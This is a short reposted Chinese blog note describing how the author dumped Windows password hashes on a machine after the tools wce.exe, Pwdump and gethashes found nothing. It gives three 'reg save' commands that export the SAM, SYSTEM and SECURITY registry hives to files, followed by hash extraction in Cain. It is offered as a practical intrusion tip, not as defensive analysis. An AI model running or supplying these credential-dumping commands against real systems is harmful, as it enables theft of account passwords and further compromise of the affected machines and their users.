传wce.exe 抓hash 没有任何结果
又穿了Pwdump gethashes等。都没有抓到任何数据!
最后用
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
导出文件然后在cain能够找到hash。。
转载于:https://www.cnblogs.com/amwld/archive/2011/10/02/2197897.html